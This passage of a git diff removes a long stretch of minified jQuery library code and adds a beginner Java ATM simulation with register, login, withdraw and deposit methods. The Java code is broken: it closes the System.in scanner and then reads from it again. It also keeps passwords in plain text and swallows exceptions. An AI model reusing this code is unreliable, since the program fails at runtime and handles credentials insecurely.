j.opts.easing); - return j.tweens.push(d), - d - }, - stop: function(b) { - var c = 0 - , d = b ? j.tweens.length : 0; - if (e) - return this; - for (e = !0; c < d; c++) - j.tweens[c].run(1); - return b ? (h.notifyWith(a, [j, 1, 0]), - h.resolveWith(a, [j, b])) : h.rejectWith(a, [j, b]), - this - } - }), k = j.props; - for (jb(k, j.opts.specialEasing); f < g; f++) - if (d = kb.prefilters[f].call(j, a, k, j.opts)) - return r.isFunction(d.stop) && (r._queueHooks(j.elem, j.opts.queue).stop = r.proxy(d.stop, d)), - d; - return r.map(k, hb, j), - r.isFunction(j.opts.start) && j.opts.start.call(a, j), - j.progress(j.opts.progress).done(j.opts.done, j.opts.complete).fail(j.opts.fail).always(j.opts.always), - r.fx.timer(r.extend(i, { - elem: a, - anim: j, - queue: j.opts.queue - })), - j - } - r.Animation = r.extend(kb, { - tweeners: { - "*": [function(a, b) { - var c = this.createTween(a, b); - return fa(c.elem, a, ba.exec(b), c), - c - } - ] - }, - tweener: function(a, b) { - r.isFunction(a) ? (b = a, - a = ["*"]) : a = a.match(L); - for (var c, d = 0, e = a.length; d < e; d++) - c = a[d], - kb.tweeners[c] = kb.tweeners[c] || [], - kb.tweeners[c].unshift(b) - }, - prefilters: [ib], - prefilter: function(a, b) { - b ? kb.prefilters.unshift(a) : kb.prefilters.push(a) - } - }), - r.speed = function(a, b, c) { - var d = a && "object" == typeof a ? r.extend({}, a) : { - complete: c || !c && b || r.isFunction(a) && a, - duration: a, - easing: c && b || b && !r.isFunction(b) && b - }; - return r.fx.off ? d.duration = 0 : "number" != typeof d.duration && (d.duration in r.fx.speeds ? d.duration = r.fx.speeds[d.duration] : d.duration = r.fx.speeds._default), - null != d.queue && d.queue !== !0 || (d.queue = "fx"), - d.old = d.complete, - d.complete = function() { - r.isFunction(d.old) && d.old.call(this), - d.queue && r.dequeue(this, d.queue) - } - , - d - } - , - r.fn.extend({ - fadeTo: function(a, b, c, d) { - return this.filter(da).css("opacity", 0).show().end().animate({ - opacity: b - }, a, c, d) - }, - animate: function(a, b, c, d) { - var e = r.isEmptyObject(a) - , f = r.speed(b, c, d) - , g = function() { - var b = kb(this, r.extend({}, a), f); - (e || W.get(this, "finish")) && b.stop(!0) - }; - return g.finish = g, - e || f.queue === !1 ? this.each(g) : this.queue(f.queue, g) - }, - stop: function(a, b, c) { - var d = function(a) { - var b = a.stop; - delete a.stop, - b(c) - }; - return "string" != typeof a && (c = b, - b = a, - a = void 0), - b && a !== !1 && this.queue(a || "fx", []), - this.each(function() { - var b = !0 - , e = null != a && a + "queueHooks" - , f = r.timers - , g = W.get(this); - if (e) - g[e] && g[e].stop && d(g[e]); - else - for (e in g) - g[e] && g[e].stop && db.test(e) && d(g[e]); - for (e = f.length; e--; ) - f[e].elem !== this || null != a && f[e].queue !== a || (f[e].anim.stop(c), - b = !1, - f.splice(e, 1)); - !b && c || r.dequeue(this, a) - }) - }, - finish: function(a) { - return a !== !1 && (a = a || "fx"), - this.each(function() { - var b, c = W.get(this), d = c[a + "queue"], e = c[a + "queueHooks"], f = r.timers, g = d ? d.length : 0; - for (c.finish = !0, - r.queue(this, a, []), - e && e.stop && e.stop.call(this, !0), - b = f.length; b--; ) - f[b].elem === this && f[b].queue === a && (f[b].anim.stop(!0), - f.splice(b, 1)); - for (b = 0; b < g; b++) - d[b] && d[b].finish && d[b].finish.call(this); - delete c.finish - }) - } - }), - r.each(["toggle", "show", "hide"], function(a, b) { - var c = r.fn[b]; - r.fn[b] = function(a, d, e) { - return null == a || "boolean" == typeof a ? c.apply(this, arguments) : this.animate(gb(b, !0), a, d, e) - } - }), - r.each({ - slideDown: gb("show"), - slideUp: gb("hide"), - slideToggle: gb("toggle"), - fadeIn: { - opacity: "show" - }, - fadeOut: { - opacity: "hide" - }, - fadeToggle: { - opacity: "toggle" - } - }, function(a, b) { - r.fn[a] = function(a, c, d) { - return this.animate(b, a, c, d) - } - }), - r.timers = [], - r.fx.tick = function() { - var a, b = 0, c = r.timers; - for (ab = r.now(); b < c.length; b++) - a = c[b], - a() || c[b] !== a || c.splice(b--, 1); - c.length || r.fx.stop(), - ab = void 0 - } - , - r.fx.timer = function(a) { - r.timers.push(a), - r.fx.start() - } - , - r.fx.interval = 13, - r.fx.start = function() { - bb || (bb = !0, - eb()) - } - , - r.fx.stop = function() { - bb = null - } - , - r.fx.speeds = { - slow: 600, - fast: 200, - _default: 400 - }, - r.fn.delay = function(b, c) { - return b = r.fx ? r.fx.speeds[b] || b : b, - c = c || "fx", - this.queue(c, function(c, d) { - var e = a.setTimeout(c, b); - d.stop = function() { - a.clearTimeout(e) - } - }) - } - , - function() { - var a = d.createElement("input") - , b = d.createElement("select") - , c = b.appendChild(d.createElement("option")); - a.type = "checkbox", - o.checkOn = "" !== a.value, - o.optSelected = c.selected, - a = d.createElement("input"), - a.value = "t", - a.type = "radio", - o.radioValue = "t" === a.value - }(); - var lb, mb = r.expr.attrHandle; - r.fn.extend({ - attr: function(a, b) { - return T(this, r.attr, a, b, arguments.length > 1) - }, - removeAttr: function(a) { - return this.each(function() { - r.removeAttr(this, a) - }) - } - }), - r.extend({ - attr: function(a, b, c) { - var d, e, f = a.nodeType; - if (3 !== f && 8 !== f && 2 !== f) - return "undefined" == typeof a.getAttribute ? r.prop(a, b, c) : (1 === f && r.isXMLDoc(a) || (e = r.attrHooks[b.toLowerCase()] || (r.expr.match.bool.test(b) ? lb : void 0)), - void 0 !== c ? null === c ? void r.removeAttr(a, b) : e && "set"in e && void 0 !== (d = e.set(a, c, b)) ? d : (a.setAttribute(b, c + ""), - c) : e && "get"in e && null !== (d = e.get(a, b)) ? d : (d = r.find.attr(a, b), - null == d ? void 0 : d)) - }, - attrHooks: { - type: { - set: function(a, b) { - if (!o.radioValue && "radio" === b && B(a, "input")) { - var c = a.value; - return a.setAttribute("type", b), - c && (a.value = c), - b - } - } - } - }, - removeAttr: function(a, b) { - var c, d = 0, e = b && b.match(L); - if (e && 1 === a.nodeType) - while (c = e[d++]) - a.removeAttribute(c) - } - }), - lb = { - set: function(a, b, c) { - return b === !1 ? r.removeAttr(a, c) : a.setAttribute(c, c), - c - } - }, - r.each(r.expr.match.bool.source.match(/\w+/g), function(a, b) { - var c = mb[b] || r.find.attr; - mb[b] = function(a, b, d) { - var e, f, g = b.toLowerCase(); - return d || (f = mb[g], - mb[g] = e, - e = null != c(a, b, d) ? g : null, - mb[g] = f), - e - } - }); - var nb = /^(?:input|select|textarea|button)$/i - , ob = /^(?:a|area)$/i; - r.fn.extend({ - prop: function(a, b) { - return T(this, r.prop, a, b, arguments.length > 1) - }, - removeProp: function(a) { - return this.each(function() { - delete this[r.propFix[a] || a] - }) - } - }), - r.extend({ - prop: function(a, b, c) { - var d, e, f = a.nodeType; - if (3 !== f && 8 !== f && 2 !== f) - return 1 === f && r.isXMLDoc(a) || (b = r.propFix[b] || b, - e = r.propHooks[b]), - void 0 !== c ? e && "set"in e && void 0 !== (d = e.set(a, c, b)) ? d : a[b] = c : e && "get"in e && null !== (d = e.get(a, b)) ? d : a[b] - }, - propHooks: { - tabIndex: { - get: function(a) { - var b = r.find.attr(a, "tabindex"); - return b ? parseInt(b, 10) : nb.test(a.nodeName) || ob.test(a.nodeName) && a.href ? 0 : -1 - } - } - }, - propFix: { - "for": "htmlFor", - "class": "className" - } - }), - o.optSelected || (r.propHooks.selected = { - get: function(a) { - var b = a.parentNode; - return b && b.parentNode && b.parentNode.selectedIndex, - null - }, - set: function(a) { - var b = a.parentNode; - b && (b.selectedIndex, - b.parentNode && b.parentNode.selectedIndex) - } - }), - r.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() { - r.propFix[this.toLowerCase()] = this - }); - function pb(a) { - var b = a.match(L) || []; - return b.join(" ") - } - function qb(a) { - return a.getAttribute && a.getAttribute("class") || "" - } - r.fn.extend({ - addClass: function(a) { - var b, c, d, e, f, g, h, i = 0; - if (r.isFunction(a)) - return this.each(function(b) { - r(this).addClass(a.call(this, b, qb(this))) - }); - if ("string" == typeof a && a) { - b = a.match(L) || []; - while (c = this[i++]) - if (e = qb(c), - d = 1 === c.nodeType && " " + pb(e) + " ") { - g = 0; - while (f = b[g++]) - d.indexOf(" " + f + " ") < 0 && (d += f + " "); - h = pb(d), - e !== h && c.setAttribute("class", h) - } - } - return this - }, - removeClass: function(a) { - var b, c, d, e, f, g, h, i = 0; - if (r.isFunction(a)) - return this.each(function(b) { - r(this).removeClass(a.call(this, b, qb(this))) - }); - if (!arguments.length) - return this.attr("class", ""); - if ("string" == typeof a && a) { - b = a.match(L) || []; - while (c = this[i++]) - if (e = qb(c), - d = 1 === c.nodeType && " " + pb(e) + " ") { - g = 0; - while (f = b[g++]) - while (d.indexOf(" " + f + " ") > -1) - d = d.replace(" " + f + " ", " "); - h = pb(d), - e !== h && c.setAttribute("class", h) - } - } - return this - }, - toggleClass: function(a, b) { - var c = typeof a; - return "boolean" == typeof b && "string" === c ? b ? this.addClass(a) : this.removeClass(a) : r.isFunction(a) ? this.each(function(c) { - r(this).toggleClass(a.call(this, c, qb(this), b), b) - }) : this.each(function() { - var b, d, e, f; - if ("string" === c) { - d = 0, - e = r(this), - f = a.match(L) || []; - while (b = f[d++]) - e.hasClass(b) ? e.removeClass(b) : e.addClass(b) - } else - void 0 !== a && "boolean" !== c || (b = qb(this), - b && W.set(this, "__className__", b), - this.setAttribute && this.setAttribute("class", b || a === !1 ? "" : W.get(this, "__className__") || "")) - }) - }, - hasClass: function(a) { - var b, c, d = 0; - b = " " + a + " "; - while (c = this[d++]) - if (1 === c.nodeType && (" " + pb(qb(c)) + " ").indexOf(b) > -1) - return !0; - return !1 - } - }); - var rb = /\r/g; - r.fn.extend({ - val: function(a) { - var b, c, d, e = this[0]; - { - if (arguments.length) - return d = r.isFunction(a), - this.each(function(c) { - var e; - 1 === this.nodeType && (e = d ? a.call(this, c, r(this).val()) : a, - null == e ? e = "" : "number" == typeof e ? e += "" : Array.isArray(e) && (e = r.map(e, function(a) { - return null == a ? "" : a + "" - })), - b = r.valHooks[this.type] || r.valHooks[this.nodeName.toLowerCase()], - b && "set"in b && void 0 !== b.set(this, e, "value") || (this.value = e)) - }); - if (e) - return b = r.valHooks[e.type] || r.valHooks[e.nodeName.toLowerCase()], - b && "get"in b && void 0 !== (c = b.get(e, "value")) ? c : (c = e.value, - "string" == typeof c ? c.replace(rb, "") : null == c ? "" : c) - } - } - }), - r.extend({ - valHooks: { - option: { - get: function(a) { - var b = r.find.attr(a, "value"); - return null != b ? b : pb(r.text(a)) - } - }, - select: { - get: function(a) { - var b, c, d, e = a.options, f = a.selectedIndex, g = "select-one" === a.type, h = g ? null : [], i = g ? f + 1 : e.length; - for (d = f < 0 ? i : g ? f : 0; d < i; d++) - if (c = e[d], - (c.selected || d === f) && !c.disabled && (!c.parentNode.disabled || !B(c.parentNode, "optgroup"))) { - if (b = r(c).val(), - g) - return b; - h.push(b) - } - return h - }, - set: function(a, b) { - var c, d, e = a.options, f = r.makeArray(b), g = e.length; - while (g--) - d = e[g], - (d.selected = r.inArray(r.valHooks.option.get(d), f) > -1) && (c = !0); - return c || (a.selectedIndex = -1), - f - } - } - } - }), - r.each(["radio", "checkbox"], function() { - r.valHooks[this] = { - set: function(a, b) { - if (Array.isArray(b)) - return a.checked = r.inArray(r(a).val(), b) > -1 - } - }, - o.checkOn || (r.valHooks[this].get = function(a) { - return null === a.getAttribute("value") ? "on" : a.value - } - ) - }); - var sb = /^(?:focusinfocus|focusoutblur)$/; - r.extend(r.event, { - trigger: function(b, c, e, f) { - var g, h, i, j, k, m, n, o = [e || d], p = l.call(b, "type") ? b.type : b, q = l.call(b, "namespace") ? b.namespace.split(".") : []; - if (h = i = e = e || d, - 3 !== e.nodeType && 8 !== e.nodeType && !sb.test(p + r.event.triggered) && (p.indexOf(".") > -1 && (q = p.split("."), - p = q.shift(), - q.sort()), - k = p.indexOf(":") < 0 && "on" + p, - b = b[r.expando] ? b : new r.Event(p,"object" == typeof b && b), - b.isTrigger = f ? 2 : 3, - b.namespace = q.join("."), - b.rnamespace = b.namespace ? new RegExp("(^|\\.)" + q.join("\\.(?:.*\\.|)") + "(\\.|$)") : null, - b.result = void 0, - b.target || (b.target = e), - c = null == c ? [b] : r.makeArray(c, [b]), - n = r.event.special[p] || {}, - f || !n.trigger || n.trigger.apply(e, c) !== !1)) { - if (!f && !n.noBubble && !r.isWindow(e)) { - for (j = n.delegateType || p, - sb.test(j + p) || (h = h.parentNode); h; h = h.parentNode) - o.push(h), - i = h; - i === (e.ownerDocument || d) && o.push(i.defaultView || i.parentWindow || a) - } - g = 0; - while ((h = o[g++]) && !b.isPropagationStopped()) - b.type = g > 1 ? j : n.bindType || p, - m = (W.get(h, "events") || {})[b.type] && W.get(h, "handle"), - m && m.apply(h, c), - m = k && h[k], - m && m.apply && U(h) && (b.result = m.apply(h, c), - b.result === !1 && b.preventDefault()); - return b.type = p, - f || b.isDefaultPrevented() || n._default && n._default.apply(o.pop(), c) !== !1 || !U(e) || k && r.isFunction(e[p]) && !r.isWindow(e) && (i = e[k], - i && (e[k] = null), - r.event.triggered = p, - e[p](), - r.event.triggered = void 0, - i && (e[k] = i)), - b.result - } - }, - simulate: function(a, b, c) { - var d = r.extend(new r.Event, c, { - type: a, - isSimulated: !0 - }); - r.event.trigger(d, null, b) - } - }), - r.fn.extend({ - trigger: function(a, b) { - return this.each(function() { - r.event.trigger(a, b, this) - }) - }, - triggerHandler: function(a, b) { - var c = this[0]; - if (c) - return r.event.trigger(a, b, c, !0) - } - }), - r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(a, b) { - r.fn[b] = function(a, c) { - return arguments.length > 0 ? this.on(b, null, a, c) : this.trigger(b) - } - }), - r.fn.extend({ - hover: function(a, b) { - return this.mouseenter(a).mouseleave(b || a) - } - }), - o.focusin = "onfocusin"in a, - o.focusin || r.each({ - focus: "focusin", - blur: "focusout" - }, function(a, b) { - var c = function(a) { - r.event.simulate(b, a.target, r.event.fix(a)) - }; - r.event.special[b] = { - setup: function() { - var d = this.ownerDocument || this - , e = W.access(d, b); - e || d.addEventListener(a, c, !0), - W.access(d, b, (e || 0) + 1) - }, - teardown: function() { - var d = this.ownerDocument || this - , e = W.access(d, b) - 1; - e ? W.access(d, b, e) : (d.removeEventListener(a, c, !0), - W.remove(d, b)) - } - } - }); - var tb = a.location - , ub = r.now() - , vb = /\?/; - r.parseXML = function(b) { - var c; - if (!b || "string" != typeof b) - return null; - try { - c = (new a.DOMParser).parseFromString(b, "text/xml") - } catch (d) { - c = void 0 - } - return c && !c.getElementsByTagName("parsererror").length || r.error("Invalid XML: " + b), - c - } - ; - var wb = /\[\]$/ - , xb = /\r?\n/g - , yb = /^(?:submit|button|image|reset|file)$/i - , zb = /^(?:input|select|textarea|keygen)/i; - function Ab(a, b, c, d) { - var e; - if (Array.isArray(b)) - r.each(b, function(b, e) { - c || wb.test(a) ? d(a, e) : Ab(a + "[" + ("object" == typeof e && null != e ? b : "") + "]", e, c, d) - }); - else if (c || "object" !== r.type(b)) - d(a, b); - else - for (e in b) - Ab(a + "[" + e + "]", b[e], c, d) - } - r.param = function(a, b) { - var c, d = [], e = function(a, b) { - var c = r.isFunction(b) ? b() : b; - d[d.length] = encodeURIComponent(a) + "=" + encodeURIComponent(null == c ? "" : c) - }; - if (Array.isArray(a) || a.jquery && !r.isPlainObject(a)) - r.each(a, function() { - e(this.name, this.value) - }); - else - for (c in a) - Ab(c, a[c], b, e); - return d.join("&") - } - , - r.fn.extend({ - serialize: function() { - return r.param(this.serializeArray()) - }, - serializeArray: function() { - return this.map(function() { - var a = r.prop(this, "elements"); - return a ? r.makeArray(a) : this - }).filter(function() { - var a = this.type; - return this.name && !r(this).is(":disabled") && zb.test(this.nodeName) && !yb.test(a) && (this.checked || !ja.test(a)) - }).map(function(a, b) { - var c = r(this).val(); - return null == c ? null : Array.isArray(c) ? r.map(c, function(a) { - return { - name: b.name, - value: a.replace(xb, "\r\n") - } - }) : { - name: b.name, - value: c.replace(xb, "\r\n") - } - }).get() - } - }); - var Bb = /%20/g - , Cb = /#.*$/ - , Db = /([?&])_=[^&]*/ - , Eb = /^(.*?):[ \t]*([^\r\n]*)$/gm - , Fb = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/ - , Gb = /^(?:GET|HEAD)$/ - , Hb = /^\/\// - , Ib = {} - , Jb = {} - , Kb = "*/".concat("*") - , Lb = d.createElement("a"); - Lb.href = tb.href; - function Mb(a) { - return function(b, c) { - "string" != typeof b && (c = b, - b = "*"); - var d, e = 0, f = b.toLowerCase().match(L) || []; - if (r.isFunction(c)) - while (d = f[e++]) - "+" === d[0] ? (d = d.slice(1) || "*", - (a[d] = a[d] || []).unshift(c)) : (a[d] = a[d] || []).push(c) - } - } - function Nb(a, b, c, d) { - var e = {} - , f = a === Jb; - function g(h) { - var i; - return e[h] = !0, - r.each(a[h] || [], function(a, h) { - var j = h(b, c, d); - return "string" != typeof j || f || e[j] ? f ? !(i = j) : void 0 : (b.dataTypes.unshift(j), - g(j), - !1) - }), - i - } - return g(b.dataTypes[0]) || !e["*"] && g("*") - } - function Ob(a, b) { - var c, d, e = r.ajaxSettings.flatOptions || {}; - for (c in b) - void 0 !== b[c] && ((e[c] ? a : d || (d = {}))[c] = b[c]); - return d && r.extend(!0, a, d), - a - } - function Pb(a, b, c) { - var d, e, f, g, h = a.contents, i = a.dataTypes; - while ("*" === i[0]) - i.shift(), - void 0 === d && (d = a.mimeType || b.getResponseHeader("Content-Type")); - if (d) - for (e in h) - if (h[e] && h[e].test(d)) { - i.unshift(e); - break - } - if (i[0]in c) - f = i[0]; - else { - for (e in c) { - if (!i[0] || a.converters[e + " " + i[0]]) { - f = e; - break - } - g || (g = e) - } - f = f || g - } - if (f) - return f !== i[0] && i.unshift(f), - c[f] - } - function Qb(a, b, c, d) { - var e, f, g, h, i, j = {}, k = a.dataTypes.slice(); - if (k[1]) - for (g in a.converters) - j[g.toLowerCase()] = a.converters[g]; - f = k.shift(); - while (f) - if (a.responseFields[f] && (c[a.responseFields[f]] = b), - !i && d && a.dataFilter && (b = a.dataFilter(b, a.dataType)), - i = f, - f = k.shift()) - if ("*" === f) - f = i; - else if ("*" !== i && i !== f) { - if (g = j[i + " " + f] || j["* " + f], - !g) - for (e in j) - if (h = e.split(" "), - h[1] === f && (g = j[i + " " + h[0]] || j["* " + h[0]])) { - g === !0 ? g = j[e] : j[e] !== !0 && (f = h[0], - k.unshift(h[1])); - break - } - if (g !== !0) - if (g && a["throws"]) - b = g(b); - else - try { - b = g(b) - } catch (l) { - return { - state: "parsererror", - error: g ? l : "No conversion from " + i + " to " + f - } - } - } - return { - state: "success", - data: b - } - } - r.extend({ - active: 0, - lastModified: {}, - etag: {}, - ajaxSettings: { - url: tb.href, - type: "GET", - isLocal: Fb.test(tb.protocol), - global: !0, - processData: !0, - async: !0, - contentType: "application/x-www-form-urlencoded; charset=UTF-8", - accepts: { - "*": Kb, - text: "text/plain", - html: "text/html", - xml: "application/xml, text/xml", - json: "application/json, text/javascript" - }, - contents: { - xml: /\bxml\b/, - html: /\bhtml/, - json: /\bjson\b/ - }, - responseFields: { - xml: "responseXML", - text: "responseText", - json: "responseJSON" - }, - converters: { - "* text": String, - "text html": !0, - "text json": JSON.parse, - "text xml": r.parseXML - }, - flatOptions: { - url: !0, - context: !0 - } - }, - ajaxSetup: function(a, b) { - return b ? Ob(Ob(a, r.ajaxSettings), b) : Ob(r.ajaxSettings, a) - }, - ajaxPrefilter: Mb(Ib), - ajaxTransport: Mb(Jb), - ajax: function(b, c) { - "object" == typeof b && (c = b, - b = void 0), - c = c || {}; - var e, f, g, h, i, j, k, l, m, n, o = r.ajaxSetup({}, c), p = o.context || o, q = o.context && (p.nodeType || p.jquery) ? r(p) : r.event, s = r.Deferred(), t = r.Callbacks("once memory"), u = o.statusCode || {}, v = {}, w = {}, x = "canceled", y = { - readyState: 0, - getResponseHeader: function(a) { - var b; - if (k) { - if (!h) { - h = {}; - while (b = Eb.exec(g)) - h[b[1].toLowerCase()] = b[2] - } - b = h[a.toLowerCase()] - } - return null == b ? null : b - }, - getAllResponseHeaders: function() { - return k ? g : null - }, - setRequestHeader: function(a, b) { - return null == k && (a = w[a.toLowerCase()] = w[a.toLowerCase()] || a, - v[a] = b), - this - }, - overrideMimeType: function(a) { - return null == k && (o.mimeType = a), - this - }, - statusCode: function(a) { - var b; - if (a) - if (k) - y.always(a[y.status]); - else - for (b in a) - u[b] = [u[b], a[b]]; - return this - }, - abort: function(a) { - var b = a || x; - return e && e.abort(b), - A(0, b), - this - } - }; - if (s.promise(y), - o.url = ((b || o.url || tb.href) + "").replace(Hb, tb.protocol + "//"), - o.type = c.method || c.type || o.method || o.type, - o.dataTypes = (o.dataType || "*").toLowerCase().match(L) || [""], - null == o.crossDomain) { - j = d.createElement("a"); - try { - j.href = o.url, - j.href = j.href, - o.crossDomain = Lb.protocol + "//" + Lb.host != j.protocol + "//" + j.host - } catch (z) { - o.crossDomain = !0 - } - } - if (o.data && o.processData && "string" != typeof o.data && (o.data = r.param(o.data, o.traditional)), - Nb(Ib, o, c, y), - k) - return y; - l = r.event && o.global, - l && 0 === r.active++ && r.event.trigger("ajaxStart"), - o.type = o.type.toUpperCase(), - o.hasContent = !Gb.test(o.type), - f = o.url.replace(Cb, ""), - o.hasContent ? o.data && o.processData && 0 === (o.contentType || "").indexOf("application/x-www-form-urlencoded") && (o.data = o.data.replace(Bb, "+")) : (n = o.url.slice(f.length), - o.data && (f += (vb.test(f) ? "&" : "?") + o.data, - delete o.data), - o.cache === !1 && (f = f.replace(Db, "$1"), - n = (vb.test(f) ? "&" : "?") + "_=" + ub++ + n), - o.url = f + n), - o.ifModified && (r.lastModified[f] && y.setRequestHeader("If-Modified-Since", r.lastModified[f]), - r.etag[f] && y.setRequestHeader("If-None-Match", r.etag[f])), - (o.data && o.hasContent && o.contentType !== !1 || c.contentType) && y.setRequestHeader("Content-Type", o.contentType), - y.setRequestHeader("Accept", o.dataTypes[0] && o.accepts[o.dataTypes[0]] ? o.accepts[o.dataTypes[0]] + ("*" !== o.dataTypes[0] ? ", " + Kb + "; q=0.01" : "") : o.accepts["*"]); - for (m in o.headers) - y.setRequestHeader(m, o.headers[m]); - if (o.beforeSend && (o.beforeSend.call(p, y, o) === !1 || k)) - return y.abort(); - if (x = "abort", - t.add(o.complete), - y.done(o.success), - y.fail(o.error), - e = Nb(Jb, o, c, y)) { - if (y.readyState = 1, - l && q.trigger("ajaxSend", [y, o]), - k) - return y; - o.async && o.timeout > 0 && (i = a.setTimeout(function() { - y.abort("timeout") - }, o.timeout)); - try { - k = !1, - e.send(v, A) - } catch (z) { - if (k) - throw z; - A(-1, z) - } - } else - A(-1, "No Transport"); - function A(b, c, d, h) { - var j, m, n, v, w, x = c; - k || (k = !0, - i && a.clearTimeout(i), - e = void 0, - g = h || "", - y.readyState = b > 0 ? 4 : 0, - j = b >= 200 && b < 300 || 304 === b, - d && (v = Pb(o, y, d)), - v = Qb(o, v, y, j), - j ? (o.ifModified && (w = y.getResponseHeader("Last-Modified"), - w && (r.lastModified[f] = w), - w = y.getResponseHeader("etag"), - w && (r.etag[f] = w)), - 204 === b || "HEAD" === o.type ? x = "nocontent" : 304 === b ? x = "notmodified" : (x = v.state, - m = v.data, - n = v.error, - j = !n)) : (n = x, - !b && x || (x = "error", - b < 0 && (b = 0))), - y.status = b, - y.statusText = (c || x) + "", - j ? s.resolveWith(p, [m, x, y]) : s.rejectWith(p, [y, x, n]), - y.statusCode(u), - u = void 0, - l && q.trigger(j ? "ajaxSuccess" : "ajaxError", [y, o, j ? m : n]), - t.fireWith(p, [y, x]), - l && (q.trigger("ajaxComplete", [y, o]), - --r.active || r.event.trigger("ajaxStop"))) - } - return y - }, - getJSON: function(a, b, c) { - return r.get(a, b, c, "json") - }, - getScript: function(a, b) { - return r.get(a, void 0, b, "script") - } - }), - r.each(["get", "post"], function(a, b) { - r[b] = function(a, c, d, e) { - return r.isFunction(c) && (e = e || d, - d = c, - c = void 0), - r.ajax(r.extend({ - url: a, - type: b, - dataType: e, - data: c, - success: d - }, r.isPlainObject(a) && a)) - } - }), - r._evalUrl = function(a) { - return r.ajax({ - url: a, - type: "GET", - dataType: "script", - cache: !0, - async: !1, - global: !1, - "throws": !0 - }) - } - , - r.fn.extend({ - wrapAll: function(a) { - var b; - return this[0] && (r.isFunction(a) && (a = a.call(this[0])), - b = r(a, this[0].ownerDocument).eq(0).clone(!0), - this[0].parentNode && b.insertBefore(this[0]), - b.map(function() { - var a = this; - while (a.firstElementChild) - a = a.firstElementChild; - return a - }).append(this)), - this - }, - wrapInner: function(a) { - return r.isFunction(a) ? this.each(function(b) { - r(this).wrapInner(a.call(this, b)) - }) : this.each(function() { - var b = r(this) - , c = b.contents(); - c.length ? c.wrapAll(a) : b.append(a) - }) - }, - wrap: function(a) { - var b = r.isFunction(a); - return this.each(function(c) { - r(this).wrapAll(b ? a.call(this, c) : a) - }) - }, - unwrap: function(a) { - return this.parent(a).not("body").each(function() { - r(this).replaceWith(this.childNodes) - }), - this - } - }), - r.expr.pseudos.hidden = function(a) { - return !r.expr.pseudos.visible(a) - } - , - r.expr.pseudos.visible = function(a) { - return !!(a.offsetWidth || a.offsetHeight || a.getClientRects().length) - } - , - r.ajaxSettings.xhr = function() { - try { - return new a.XMLHttpRequest - } catch (b) {} - } - ; - var Rb = { - 0: 200, - 1223: 204 - } - , Sb = r.ajaxSettings.xhr(); - o.cors = !!Sb && "withCredentials"in Sb, - o.ajax = Sb = !!Sb, - r.ajaxTransport(function(b) { - var c, d; - if (o.cors || Sb && !b.crossDomain) - return { - send: function(e, f) { - var g, h = b.xhr(); - if (h.open(b.type, b.url, b.async, b.username, b.password), - b.xhrFields) - for (g in b.xhrFields) - h[g] = b.xhrFields[g]; - b.mimeType && h.overrideMimeType && h.overrideMimeType(b.mimeType), - b.crossDomain || e["X-Requested-With"] || (e["X-Requested-With"] = "XMLHttpRequest"); - for (g in e) - h.setRequestHeader(g, e[g]); - c = function(a) { - return function() { - c && (c = d = h.onload = h.onerror = h.onabort = h.onreadystatechange = null, - "abort" === a ? h.abort() : "error" === a ? "number" != typeof h.status ? f(0, "error") : f(h.status, h.statusText) : f(Rb[h.status] || h.status, h.statusText, "text" !== (h.responseType || "text") || "string" != typeof h.responseText ? { - binary: h.response - } : { - text: h.responseText - }, h.getAllResponseHeaders())) - } - } - , - h.onload = c(), - d = h.onerror = c("error"), - void 0 !== h.onabort ? h.onabort = d : h.onreadystatechange = function() { - 4 === h.readyState && a.setTimeout(function() { - c && d() - }) - } - , - c = c("abort"); - try { - h.send(b.hasContent && b.data || null) - } catch (i) { - if (c) - throw i - } - }, - abort: function() { - c && c() - } - } - }), - r.ajaxPrefilter(function(a) { - a.crossDomain && (a.contents.script = !1) - }), - r.ajaxSetup({ - accepts: { - script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript" - }, - contents: { - script: /\b(?:java|ecma)script\b/ - }, - converters: { - "text script": function(a) { - return r.globalEval(a), - a - } - } - }), - r.ajaxPrefilter("script", function(a) { - void 0 === a.cache && (a.cache = !1), - a.crossDomain && (a.type = "GET") - }), - r.ajaxTransport("script", function(a) { - if (a.crossDomain) { - var b, c; - return { - send: function(e, f) { - b = r(" - - - - \ No newline at end of file diff --git a/Add Code Here/Java/Atm_Interface.java b/Add Code Here/Java/Atm_Interface.java new file mode 100644 index 00000000000..9dfb8ed5410 --- /dev/null +++ b/Add Code Here/Java/Atm_Interface.java @@ -0,0 +1,225 @@ +import java.util.Scanner; + +class BankAccount { + + String name; + String userName; + String password; + String accountNo; + float balance = 100000f; + int transactions = 0; + String transactionHistory = ""; + + // BankAccount(String name, String userName, String password, String accountNo) + // { + // this.name = name; + // this.userName = userName; + // this.password = password; + // this.accountNo = accountNo; + // } + + public void register() { + Scanner sc = new Scanner(System.in); + System.out.print("\nEnter Your Name - "); + this.name = sc.nextLine(); + System.out.print("\nEnter Your Username - "); + this.userName = sc.nextLine(); + System.out.print("\nEnter Your Password - "); + this.password = sc.nextLine(); + System.out.print("\nEnter Your Account Number - "); + this.accountNo = sc.nextLine(); + System.out.println("\nRegistration completed..kindly login"); + sc.close(); + } + + public boolean login() { + boolean isLogin = false; + Scanner sc = new Scanner(System.in); + while (!isLogin) { + System.out.print("\nEnter Your Username - "); + String Username = sc.nextLine(); + sc.close(); + if (Username.equals(userName)) { + while (!isLogin) { + System.out.print("\nEnter Your Password - "); + String Password = sc.nextLine(); + if (Password.equals(password)) { + System.out.print("\nLogin successful!!"); + isLogin = true; + } else { + System.out.println("\nIncorrect Password"); + } + } + } else { + System.out.println("\nUsername not found"); + } + } + return isLogin; + } + + public void withdraw() { + + System.out.print("\nEnter amount to withdraw - "); + Scanner sc = new Scanner(System.in); + float amount = sc.nextFloat(); + sc.close(); + try { + + if (balance >= amount) { + transactions++; + balance -= amount; + System.out.println("\nWithdraw Successfully"); + String str = amount + " Rs Withdrawed\n"; + transactionHistory = transactionHistory.concat(str); + + } else { + System.out.println("\nInsufficient Balance"); + } + + } catch (Exception e) { + } + } + + public void deposit() { + + System.out.print("\nEnter amount to deposit - "); + Scanner sc = new Scanner(System.in); + float amount = sc.nextFloat(); + sc.close(); + + try { + if (amount <= 100000f) { + transactions++; + balance += amount; + System.out.println("\nSuccessfully Deposited"); + String str = amount + " Rs deposited\n"; + transactionHistory = transactionHistory.concat(str); + } else { + 